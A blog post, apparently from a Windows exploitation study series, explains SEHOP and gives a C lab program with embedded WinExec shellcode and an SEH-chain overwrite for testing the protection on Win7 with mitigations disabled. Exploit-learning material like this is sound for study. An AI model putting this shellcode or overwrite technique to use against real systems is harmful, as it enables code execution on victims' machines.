OD: SEHOP

SEHOP,Structed Exception Handling Overwrite Protection,一种比 SafeSEH 更严厉的保护机制。Windows Vista SP1 开始支持 SEHOP,但 Vista 和 Win7 中默认不启用,可以对这两个版本的系统打补丁以支持 SEHOP,但一个更简单的方法是:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\kernel\DisableExceptionChainValidation = dword:00000000

可以写一个带 _try{} _except() 的简单程序,用 OllyDbg 加载然后修改 next seh 链表来对比观察 win7 启用 SEHOP 后的保护效果。我写了一段不算方便的代码来实验,因为其中有个宏可以在以后借用,先存下来:

 1 // sehop.cpp : Defines the entry point for the console application.
 2 //
 3 // os:  win7
 4 // ide: vs2008 (turn off Optimization/ASLR/GS/DEP)
 5 // link option: /SAFESEH:NO
 6
 7 #include "stdafx.h"
 8 #include <stdio.h>
 9 #include <stdlib.h>
10 #include <string.h>
11 #include <windows.h>
12
13 #define D2B(x,c) ((byte)(((unsigned int)x)>>(32-c*8))) // Dword to Byte
14
15 char shellcode[300]=
16 "\x60\x89\xE0\x83\xE4\xFC\x50\x31\xD2\x52\x68\x63\x61\x6C\x63\x54"
17 "\x59\x52\x51\x64\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30"
18 "\x8B\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20\x01\xFE"
19 "\x8B\x54\x1F\x24\x0F\xB7\x2C\x17\x42\x42\xAD\x81\x3C\x07\x57\x69"
20 "\x6E\x45\x75\xF0\x8B\x74\x1F\x1C\x01\xFE\x03\x3C\xAE\xFF\xD7\x58"
21 "\x58\x5C\x61\xC3"               // 84b winexec cmd.exe shellcode
22 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
23 "\x90\x90\x90\x90"
24 "\x78\xFF\x12\x00" // next seh
25 "\x18\x30\x40\x00" // seh : shellcode
26 ;
27
28 void test()
29 {
30     char buf[84];
31     memcpy(buf,shellcode,112);
32     int x=0;
33     __try{
34         x=1/x;
35     } __except(1) {
36         printf("[fatal] divided by zero!\n");
37         __asm{
38             lea eax,shellcode
39             call eax  // push next_eip, jmp eax
40         }
41         exit(0);
42     }
43 }
44
45 int _tmain(int argc, _TCHAR* argv[])
46 {
47     test();
48     return 0;
49 }

注意其中的 D2B() 宏,在代码中动态定位时可以借用(sprintf(address,"%c%c%c%c",D2B(seh,4),D2B(seh,3),D2B(seh,2),D2B(seh,1))),另外,弹出 calc.exe 的 shellcode 具有 function 特性,即执行过程中会保存现场,执行完了会返回,实验时应该用 lea eax, shellcode; call eax(call eax 会先 push next_eip 再 jmp)

时间: 2024-12-28 09:16:26

OD: SEHOP的相关文章

OD: Windows Security Techniques &amp; GS Bypassing via C++ Virtual Function

Windows 安全机制 漏洞的万源之本在于冯诺依曼设计的计算机模型没有将代码和数据进行区分——病毒.加壳脱壳.shellcode.跨站脚本攻击.SQL注入等都是因为计算机把数据和代码混淆这一天然缺陷而造成的. Windows XP SP2 之前的系统致力于系统稳定性,忽略安全性:之后的 Windows 系统系统加入了独特的安全性设计: 1. GS 编译技术:函数返回地址之前加入了 Security Cookie,返回之前首先检测 cookie 是否正确,栈溢出难度增加. 2. 增加了对 S.E

[linux命令] od命令

参考网址:http://man.linuxde.net/od 语法 od(选项)(参数) od(选项)(参数) -a:此参数的效果和同时指定"-ta"参数相同: -A:<字码基数>:选择以何种基数计算字码: -b:此参数的效果和同时指定"-toC"参数相同: -c:此参数的效果和同时指定"-tC"参数相同: -d:此参数的效果和同时指定"-tu2"参数相同: -f:select floats -h:此参数的效果和同

od的用法

一.功能 查看非文本文档的内容 二.用法 1.语法 od [-A RADIX] [-t TYPE] 文件名 2.选项与参数 -A: 指定偏移量的输出形式 d[size] :利用十进制(decimal)输出数据,每个整数占用 size bytes ;o[size] :利用八进制(octal)输出数据,每个整数占用 size bytes ;x[size] :利用十六进制(hexadecimal)输出数据,每个整数占用 size bytes ; -t :后面可以接各种类型 (TYPE)的输出 a: 利

OD调试17

程序先出现一个nag 然后出现主窗口 然后出现第二个nag窗口        我们查个壳   没有壳 那就载入OD看看,继续用调用堆栈的方法 发现一直执行用的都是这一个call,最后执行到程序结束.之后往上看见一个跳转,下个断点看看 如果一步一步,一次一次改就完全可以避免了,但是不可能,每一次都打开来改.那我们是不是能够写一段代码if第一次就跳,第二次就不跳,第三次也跳   那我们就想到了inline patch,点M   看看PE,可以在数据段写入 找到一个都是用0填充的 找个地方,储存我们想

OD调试16

今天还是15的那个程序,但是呢,换一种方法去掉NAG窗口 用OD载入,暂停,查看调用的堆栈 先看最后一个    查看调用,下断点 往上看看,找到入口的地方,设下断.点,重载,运行,单步 通过单步发现   它要两次经过很多跳转,第一次的跳转与第二次的还不一样,说明问题出在跳转上,我们可以把有问题的比较靠前的跳转NOP掉.看看,保存看看 发现成功了! 来自为知笔记(Wiz)

OD调试篇12

Delphi的逆向 先看看今天需要破解的程序. 打开程序先出现了一个nag窗口,然后是unregistered未注册的提示,以及关于里的需要注册. 拖进die看了看      就是delphi写的.那我们就用OD打开看看. 老方法,右键查找字符串, 发现了有用的东西,双击进入 我们需要的地方并没有任何跳转,三角形就是有跳转来自什么的. 经过分析,可以利用OD的功能查看下,除了它本身,还有谁调用了照这个命令 发现了还有个东西调用了它 push了东西进去,双击它 我们可以下断点,试试,发现程序没有断

shell学习四十一天----列出文件ls和od命令

列出文件 首先恶臭命令提供简单的方式列出匹配模式的文件: 命令: echo /bin/*sh #显示/bin下的shell 输出:/bin/bash /bin/csh /bin/dash /bin/sh /bin/tcsh 分析:shell将通配符字符模式替换为匹配的文件列表,echo以空格区分文件列表,在单一行上显示他们.echp不会更近一部解释他的参数,因此与文件系统里的文件也没有任何关系. ls命令则比echo能做更多的处理,因为他纸袋自己的参数应该是文件.未提供命令行选项时,ls只会验证

基于 od 窗口的anti

虽然 odadvance 这类的插件 , 使用驱动将 od 的窗口 进行 隐藏,使用enumwindow ,无法枚举到od的窗口, 但是依然可以 使用r3 的方法 , 对od 窗口检测 之后可以使用 od的窗口特征 , 做进一步的判断 , 后面的攻击方法 , 自由发挥就ok了

OD: Heap Exploit : DWORD Shooting &amp; Opcode Injecting

堆块分配时的任意地址写入攻击原理 堆管理系统的三类操作:分配.释放.合并,归根到底都是对堆块链表的修改.如果能伪造链表结点的指针,那么在链表装卸的过程中就有可能获得读写内存的机会.堆溢出利用的精髓就是用精心构造的数据去溢出下一个堆块的块首,改写块首中的前向指针 Flink 和后向指针 Blink,然后在分配.释放.合并操作发生时获得一次读写内存的机会. 这种利用内存读写机会在任意位置写入任意数据的做法在原书中称为"DWORD SHOT",在其它文献中叫做"Arbitrary